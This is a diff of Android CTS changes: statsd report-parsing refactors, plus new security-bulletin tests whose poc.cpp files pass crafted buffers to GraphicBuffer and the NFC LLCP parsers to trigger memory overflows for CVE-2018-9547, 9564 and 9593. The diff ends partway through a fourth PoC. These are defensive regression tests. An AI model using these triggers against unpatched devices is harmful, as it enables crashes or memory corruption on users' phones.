Merge "STS test for Android Security CVE-2021-0705" into sc-dev
diff --git a/apps/CameraITS/tests/scene2_d/scene2_d.png b/apps/CameraITS/tests/scene2_d/scene2_d.png
index e2a33e7..5365f3f 100644
--- a/apps/CameraITS/tests/scene2_d/scene2_d.png
+++ b/apps/CameraITS/tests/scene2_d/scene2_d.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_d/scene2_d_0.5x_scaled.png b/apps/CameraITS/tests/scene2_d/scene2_d_0.5x_scaled.png
index df700c3..21b068b 100644
--- a/apps/CameraITS/tests/scene2_d/scene2_d_0.5x_scaled.png
+++ b/apps/CameraITS/tests/scene2_d/scene2_d_0.5x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_d/scene2_d_0.67x_scaled.png b/apps/CameraITS/tests/scene2_d/scene2_d_0.67x_scaled.png
index 672ea30..30d6813 100644
--- a/apps/CameraITS/tests/scene2_d/scene2_d_0.67x_scaled.png
+++ b/apps/CameraITS/tests/scene2_d/scene2_d_0.67x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_e/scene2_e.png b/apps/CameraITS/tests/scene2_e/scene2_e.png
index b9554b3..c64f47b 100644
--- a/apps/CameraITS/tests/scene2_e/scene2_e.png
+++ b/apps/CameraITS/tests/scene2_e/scene2_e.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_e/scene2_e_0.5x_scaled.png b/apps/CameraITS/tests/scene2_e/scene2_e_0.5x_scaled.png
index 92e3444..7dbb41a 100644
--- a/apps/CameraITS/tests/scene2_e/scene2_e_0.5x_scaled.png
+++ b/apps/CameraITS/tests/scene2_e/scene2_e_0.5x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_e/scene2_e_0.67x_scaled.png b/apps/CameraITS/tests/scene2_e/scene2_e_0.67x_scaled.png
index d8cca5c..4ee532c 100644
--- a/apps/CameraITS/tests/scene2_e/scene2_e_0.67x_scaled.png
+++ b/apps/CameraITS/tests/scene2_e/scene2_e_0.67x_scaled.png
Binary files differ
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index cb80a99..0001977 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -15,6 +15,7 @@
 -->
 <resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
     <string name="app_name">CTS Verifier</string>
+    <string name="module_id">noabi CtsVerifier</string>
 
     <string name="title_version">CTS Verifier %1$s</string>
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
index 3c43953..c1e43e1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
@@ -19,35 +19,26 @@
 import android.content.Context;
 import android.os.Build;
 import android.text.TextUtils;
-import android.util.Xml;
 
 import com.android.compatibility.common.util.DevicePropertyInfo;
 import com.android.compatibility.common.util.ICaseResult;
 import com.android.compatibility.common.util.IInvocationResult;
 import com.android.compatibility.common.util.IModuleResult;
-import com.android.compatibility.common.util.InvocationResult;
 import com.android.compatibility.common.util.ITestResult;
-import com.android.compatibility.common.util.MetricsXmlSerializer;
+import com.android.compatibility.common.util.InvocationResult;
 import com.android.compatibility.common.util.ReportLog;
 import com.android.compatibility.common.util.TestResultHistory;
 import com.android.compatibility.common.util.TestStatus;
 import com.android.cts.verifier.TestListActivity.DisplayMode;
 import com.android.cts.verifier.TestListAdapter.TestListItem;
 
-import org.xmlpull.v1.XmlSerializer;
-
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
 import java.text.DateFormat;
 import java.text.SimpleDateFormat;
-import java.util.Arrays;
 import java.util.ArrayList;
-import java.util.Date;
-import java.util.HashMap;
+import java.util.Arrays;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Locale;
-import java.util.Map;
 import java.util.Map.Entry;
 import java.util.Set;
 
@@ -72,7 +63,6 @@
     private static final String TEST_TAG = "test";
     private static final String TEST_DETAILS_TAG = "details";
 
-    private static final String MODULE_ID = "noabi CtsVerifier";
     private static final String TEST_CASE_NAME = "manualTests";
 
     private final Context mContext;
@@ -91,7 +81,8 @@
         String versionBaseOs = null;
         String versionSecurityPatch = null;
         IInvocationResult result = new InvocationResult();
-        IModuleResult moduleResult = result.getOrCreateModule(MODULE_ID);
+        IModuleResult moduleResult = result.getOrCreateModule(
+                mContext.getResources().getString(R.string.module_id));
 
         // Collect build fields available in API level 21
         if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
diff --git a/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java
index 11ecfa6..671e12b 100644
--- a/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java
+++ b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java
@@ -30,6 +30,7 @@
 import com.android.internal.os.nano.StatsdConfigProto.SimpleAtomMatcher;
 import com.android.internal.os.nano.StatsdConfigProto.StatsdConfig;
 import com.android.os.nano.AtomsProto;
+import com.android.os.nano.StatsLog;
 import com.android.os.nano.StatsLog.ConfigMetricsReportList;
 import com.android.queryable.Queryable;
 
@@ -184,7 +185,10 @@
         return Arrays.stream(reportList.reports)
                 .flatMap(s -> Arrays.stream(s.metrics.clone()))
                 .filter(s -> s.getEventMetrics() != null && s.getEventMetrics().data != null)
-                .flatMap(statsLogReport -> Arrays.stream(statsLogReport.getEventMetrics().data.clone()))
+                .flatMap(statsLogReport -> Arrays.stream(
+                        statsLogReport.getEventMetrics().data.clone()))
+                .flatMap(eventMetricData -> Arrays.stream(
+                        backfillAggregatedAtomsinEventMetric(eventMetricData)))
                 .sorted(Comparator.comparing(e -> e.elapsedTimestampNanos))
                 .map(e -> e.atom)
                 .filter((Objects::nonNull))
@@ -193,4 +197,20 @@
                 .map(EnterpriseMetricInfo::new)
                 .collect(Collectors.toList());
     }
+
+    private StatsLog.EventMetricData[] backfillAggregatedAtomsinEventMetric(
+            StatsLog.EventMetricData metricData) {
+        if (metricData.aggregatedAtomInfo == null) {
+            return new StatsLog.EventMetricData[]{metricData};
+        }
+        List<StatsLog.EventMetricData> data = new ArrayList<>();
+        StatsLog.AggregatedAtomInfo atomInfo = metricData.aggregatedAtomInfo;
+        for (long timestamp : atomInfo.elapsedTimestampNanos) {
+            StatsLog.EventMetricData newMetricData = new StatsLog.EventMetricData();
+            newMetricData.atom = atomInfo.atom;
+            newMetricData.elapsedTimestampNanos = timestamp;
+            data.add(newMetricData);
+        }
+        return data.toArray(new StatsLog.EventMetricData[0]);
+    }
 }
diff --git a/hostsidetests/appcompat/host/lib/Android.bp b/hostsidetests/appcompat/host/lib/Android.bp
index 8f44487..f6e664e 100644
--- a/hostsidetests/appcompat/host/lib/Android.bp
+++ b/hostsidetests/appcompat/host/lib/Android.bp
@@ -26,5 +26,7 @@
         "host-libprotobuf-java-full",
         "platformprotos",
     ],
-
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+    ],
 }
diff --git a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
index 28bd4d7..9e12717 100644
--- a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
+++ b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
@@ -19,12 +19,15 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import android.cts.statsdatom.lib.ReportUtils;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.ddmlib.testrunner.TestResult.TestStatus;
 import com.android.internal.os.StatsdConfigProto;
 import com.android.os.AtomsProto;
 import com.android.os.AtomsProto.Atom;
+import com.android.os.StatsLog;
 import com.android.os.StatsLog.ConfigMetricsReport;
 import com.android.os.StatsLog.ConfigMetricsReportList;
 import com.android.tradefed.build.IBuildInfo;
@@ -46,7 +49,9 @@
 import java.io.File;
 import java.io.FileNotFoundException;
 import java.io.IOException;
+import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collections;
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
@@ -195,19 +200,28 @@
     /**
      * Gets the statsd report. Note that this also deletes that report from statsd.
      */
-    private List<ConfigMetricsReport> getReportList(long configId) throws DeviceNotAvailableException {
+    private ConfigMetricsReportList getReportList(long configId)
+            throws DeviceNotAvailableException {
         try {
             final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
             getDevice().executeShellCommand(String.format(DUMP_REPORT_CMD, configId), receiver);
             return ConfigMetricsReportList.parser()
-                    .parseFrom(receiver.getOutput())
-                    .getReportsList();
+                    .parseFrom(receiver.getOutput());
         } catch (InvalidProtocolBufferException e) {
             throw new IllegalStateException("Failed to fetch and parse the statsd output report.",
                     e);
         }
     }
 
+    private static List<StatsLog.EventMetricData> getEventMetricDataList(
+            ConfigMetricsReportList reportList) {
+        try {
+            return ReportUtils.getEventMetricDataList(reportList);
+        } catch (Exception e) {
+            throw new IllegalStateException("Failed to parse ConfigMetrisReportList", e);
+        }
+    }
+
     /**
      * Creates and uploads a statsd config that matches the AppCompatibilityChangeReported atom
      * logged by a given package name.
@@ -313,9 +327,7 @@
     private Map<Long, Boolean> getReportedChanges(long configId, String pkgName)
             throws DeviceNotAvailableException {
         final int packageUid = getUid(pkgName);
-        return getReportList(configId).stream()
-                .flatMap(report -> report.getMetricsList().stream())
-                .flatMap(metric -> metric.getEventMetrics().getDataList().stream())
+        return getEventMetricDataList(getReportList(configId)).stream()
                 .filter(eventMetricData -> eventMetricData.hasAtom())
                 .map(eventMetricData -> eventMetricData.getAtom())
                 .map(atom -> atom.getAppCompatibilityChangeReported())
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
index 4f04933..4374efe 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
@@ -1321,6 +1321,11 @@
     }
 
     public void testInstallV4UpdateAfterRotation() throws Exception {
+        // V4 is only enabled on devices with Incremental feature
+        if (!hasIncrementalFeature()) {
+            return;
+        }
+
         // This test performs an end to end verification of the update of an app with a rotated
         // key. The app under test exports a bound service that performs its own PackageManager key
         // rotation API verification, and the instrumentation test binds to the service and invokes
diff --git a/hostsidetests/devicepolicy/Android.bp b/hostsidetests/devicepolicy/Android.bp
index d932dd8..3432898 100644
--- a/hostsidetests/devicepolicy/Android.bp
+++ b/hostsidetests/devicepolicy/Android.bp
@@ -34,6 +34,9 @@
         "general-tests",
         "mts",
     ],
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+    ],
     java_resource_dirs: ["res"],
     data: [":current-api-xml"],
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index f69cbaa..fa044ad 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -185,7 +185,7 @@
     private static final int PERMISSION_GRANT_STATE_GRANTED = 1;
     private static final int PERMISSION_GRANT_STATE_DENIED = 2;
     private static final String PARAM_APP_TO_ENABLE = "app_to_enable";
-    public static final String RESOLVE_ACTIVITY_CMD = "cmd package resolve-activity --brief %s | tail -n 1";
+    public static final String RESOLVE_ACTIVITY_CMD = "cmd package resolve-activity --brief --user %d %s | tail -n 1";
 
     private static final String NOT_CALLED_FROM_PARENT = "notCalledFromParent";
 
@@ -1723,7 +1723,7 @@
         final List<String> enabledSystemPackageNames = getEnabledSystemPackageNames();
         for (String enabledSystemPackage : enabledSystemPackageNames) {
             final String result = getDevice().executeShellCommand(
-                    String.format(RESOLVE_ACTIVITY_CMD, enabledSystemPackage));
+                    String.format(RESOLVE_ACTIVITY_CMD, mUserId, enabledSystemPackage));
             if (!result.contains("No activity found")) {
                 return enabledSystemPackage;
             }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
index 7700140..dcafa40 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
@@ -24,4 +24,7 @@
     libs: [
         "tradefed",
     ],
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+    ],
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
index 5ab3ddb0..68e4934 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
@@ -15,7 +15,7 @@
  */
 package com.android.cts.devicepolicy.metrics;
 
-import static junit.framework.Assert.assertTrue;
+import android.cts.statsdatom.lib.ReportUtils;
 
 import com.android.internal.os.StatsdConfigProto.AtomMatcher;
 import com.android.internal.os.StatsdConfigProto.EventMetric;
@@ -23,24 +23,22 @@
 import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
 import com.android.internal.os.StatsdConfigProto.StatsdConfig;
 import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.ConfigMetricsReport;
 import com.android.os.StatsLog.ConfigMetricsReportList;
 import com.android.os.StatsLog.EventMetricData;
-import com.android.os.StatsLog.StatsLogReport;
 import com.android.tradefed.device.CollectingByteOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
+
 import com.google.common.io.Files;
 import com.google.protobuf.InvalidProtocolBufferException;
 import com.google.protobuf.MessageLite;
 import com.google.protobuf.Parser;
+
 import java.io.File;
 import java.util.ArrayList;
-import java.util.Comparator;
 import java.util.List;
 import java.util.function.Predicate;
-import java.util.stream.Collectors;
 
 /**
  * Tests Statsd atoms.
@@ -103,26 +101,7 @@
      */
     List<EventMetricData> getEventMetricDataList() throws Exception {
         ConfigMetricsReportList reportList = getReportList();
-        return getEventMetricDataList(reportList);
-    }
-
-    /**
-     * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
-     * contain a single report).
-     */
-    private List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList)
-            throws Exception {
-        assertTrue("Expected one report", reportList.getReportsCount() == 1);
-        final ConfigMetricsReport report = reportList.getReports(0);
-        final List<StatsLogReport> metricsList = report.getMetricsList();
-        return metricsList.stream()
-                .flatMap(statsLogReport -> statsLogReport.getEventMetrics().getDataList().stream())
-                .sorted(Comparator.comparing(EventMetricData::getElapsedTimestampNanos))
-                .peek(eventMetricData -> {
-                    CLog.d("Atom at " + eventMetricData.getElapsedTimestampNanos()
-                            + ":\n" + eventMetricData.getAtom().toString());
-                })
-                .collect(Collectors.toList());
+        return ReportUtils.getEventMetricDataList(reportList);
     }
 
     /** Gets the statsd report. Note that this also deletes that report from statsd. */
diff --git a/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
index 7dc17f4..c0240dd 100644
--- a/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
+++ b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
@@ -17,6 +17,7 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import android.cts.statsdatom.lib.ReportUtils;
 import android.stats.mediametrics_message.MediametricsMessage;
 
 import com.android.internal.os.StatsdConfigProto;
@@ -162,12 +163,7 @@
     private MediametricsMessage.ExtractorData getMediaExtractorReportedData() throws Exception {
         ConfigMetricsReportList reportList = getAndClearReportList();
         assertThat(reportList.getReportsCount()).isEqualTo(1);
-        StatsLog.ConfigMetricsReport report = reportList.getReports(0);
-        ArrayList<StatsLog.EventMetricData> data = new ArrayList<>();
-        report.getMetricsList()
-                .forEach(
-                        statsLogReport ->
-                                data.addAll(statsLogReport.getEventMetrics().getDataList()));
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(reportList);
         List<AtomsProto.MediametricsExtractorReported> mediametricsExtractorReported =
                 data.stream()
                         .map(element -> element.getAtom().getMediametricsExtractorReported())
diff --git a/hostsidetests/mediaparser/Android.bp b/hostsidetests/mediaparser/Android.bp
index 216b1c4..98e8f8f 100644
--- a/hostsidetests/mediaparser/Android.bp
+++ b/hostsidetests/mediaparser/Android.bp
@@ -36,6 +36,7 @@
     ],
     static_libs: [
         "cts-host-utils",
+        "cts-statsd-atom-host-test-utils",
     ],
     data: [
       ":CtsMediaParserTestCasesApp",
diff --git a/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
index 1e5c856..50bfa84 100644
--- a/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
+++ b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
@@ -18,6 +18,8 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import android.cts.statsdatom.lib.ReportUtils;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.internal.os.StatsdConfigProto;
@@ -272,16 +274,8 @@
     private List<MediametricsMediaParserReported> getMediaParserReportedEvents() throws Exception {
         ConfigMetricsReportList reportList = getAndClearReportList();
         assertThat(reportList.getReportsCount()).isEqualTo(1);
-        StatsLog.ConfigMetricsReport report = reportList.getReports(0);
-        ArrayList<EventMetricData> data = new ArrayList<>();
-        report.getMetricsList()
-                .forEach(
-                        statsLogReport ->
-                                data.addAll(statsLogReport.getEventMetrics().getDataList()));
-        // We sort the reported events by the elapsed timestamp so as to ensure they are returned
-        // in the same order as they were generated by the CTS tests.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(reportList);
         return data.stream()
-                .sorted(Comparator.comparing(EventMetricData::getElapsedTimestampNanos))
                 .map(event -> event.getAtom().getMediametricsMediaparserReported())
                 .collect(Collectors.toList());
     }
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
index 3c7da37..292b85e 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
@@ -58,6 +58,7 @@
 
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
@@ -275,6 +276,7 @@
      * redacted mode.
      **/
     @Test
+    @Ignore("Enable when b/194700183 is fixed")
     public void testSharedRedactedUri_openFileForRead() throws Exception {
         forceStopApp(APP_B_NO_PERMS.getPackageName());
         final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/Android.bp
similarity index 76%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/Android.bp
index 7b410b7..1ca3f7e 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/Android.bp
@@ -16,7 +16,16 @@
  */
 
 cc_test {
-    name: "CVE-2021-29368",
+    name: "CVE-2018-9547",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    shared_libs: [
+        "libui",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/poc.cpp
new file mode 100644
index 0000000..7ec82f3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/poc.cpp
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <ui/GraphicBuffer.h>
+#include "../includes/memutils.h"
+
+int main() {
+    size_t size = sizeof(int) * 6;
+    int *tempBuffer = (int *)malloc(size);
+    if (!tempBuffer) {
+        return EXIT_FAILURE;
+    }
+    memset(tempBuffer, 0x0, size);
+    tempBuffer[0] = 'GB01';
+    void const *buffer = const_cast<void const *>((void *)tempBuffer);
+    int const fds[] = {0, 0};
+    size_t count = sizeof(fds) / sizeof(int);
+    int const *fd = const_cast<int const *>(fds);
+    android::GraphicBuffer *graphicBuffer = new android::GraphicBuffer();
+    graphicBuffer->unflatten(buffer, size, fd, count);
+    free(tempBuffer);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/Android.bp
similarity index 64%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/Android.bp
index 7b410b7..4af3fe4 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/Android.bp
@@ -16,7 +16,22 @@
  */
 
 cc_test {
-    name: "CVE-2021-29368",
+    name: "CVE-2018-9564",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include/",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/ulinux/",
+    ],
+    shared_libs: [
+        "libnfc-nci",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/poc.cpp
new file mode 100644
index 0000000..f853475
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/poc.cpp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <string.h>
+#include <llcp_api.h>
+
+#define DEFAULT_VALUE 0x02
+#define SIZE 16
+#define LENGTH 1
+
+extern bool llcp_util_parse_link_params(uint16_t length, uint8_t* p_bytes);
+
+int main() {
+  const int32_t offset = SIZE - LENGTH;
+  uint8_t* p_bytes = (uint8_t *)malloc(SIZE);
+  if (!p_bytes) {
+    return EXIT_FAILURE;
+  }
+  memset(p_bytes, DEFAULT_VALUE, SIZE);
+
+  llcp_util_parse_link_params(LENGTH, &p_bytes[offset]);
+
+  free(p_bytes);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/Android.bp
index 7b410b7..68def73 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/Android.bp
@@ -16,7 +16,23 @@
  */
 
 cc_test {
-    name: "CVE-2021-29368",
+    name: "CVE-2018-9593",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include/",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/common/",
+        "system/nfc/src/gki/ulinux/",
+    ],
+    shared_libs: [
+        "libnfc-nci",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/poc.cpp
new file mode 100644
index 0000000..25b2fb6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/poc.cpp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <string.h>
+#include "llcp_int.h"
+
+#define SIZE 16
+#define LENGTH 1
+
+extern tLLCP_CB llcp_cb;
+void llcp_init(void);
+
+int main() {
+  GKI_init();
+  llcp_init();
+  uint8_t *p_i_pdu = (uint8_t *)malloc(SIZE);
+  if (!p_i_pdu) {
+    return EXIT_FAILURE;
+  }
+
+  llcp_cb.dlcb[0].state = LLCP_DLC_STATE_CONNECTED;
+  llcp_dlc_proc_i_pdu(llcp_cb.dlcb[0].local_sap, llcp_cb.dlcb[0].remote_sap, LENGTH,
+                      &p_i_pdu[SIZE - LENGTH], nullptr);
+
+  free(p_i_pdu);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/Android.bp
index 7b410b7..9d4946f 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/Android.bp
@@ -16,7 +16,23 @@
  */
 
 cc_test {
-    name: "CVE-2021-29368",
+    name: "CVE-2018-9594",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include/",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/common/",
+        "system/nfc/src/gki/ulinux/",
+    ],
+    shared_libs: [
+        "libnfc-nci",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/poc.cpp
new file mode 100644
index 0000000..4a5b163
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/poc.cpp
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
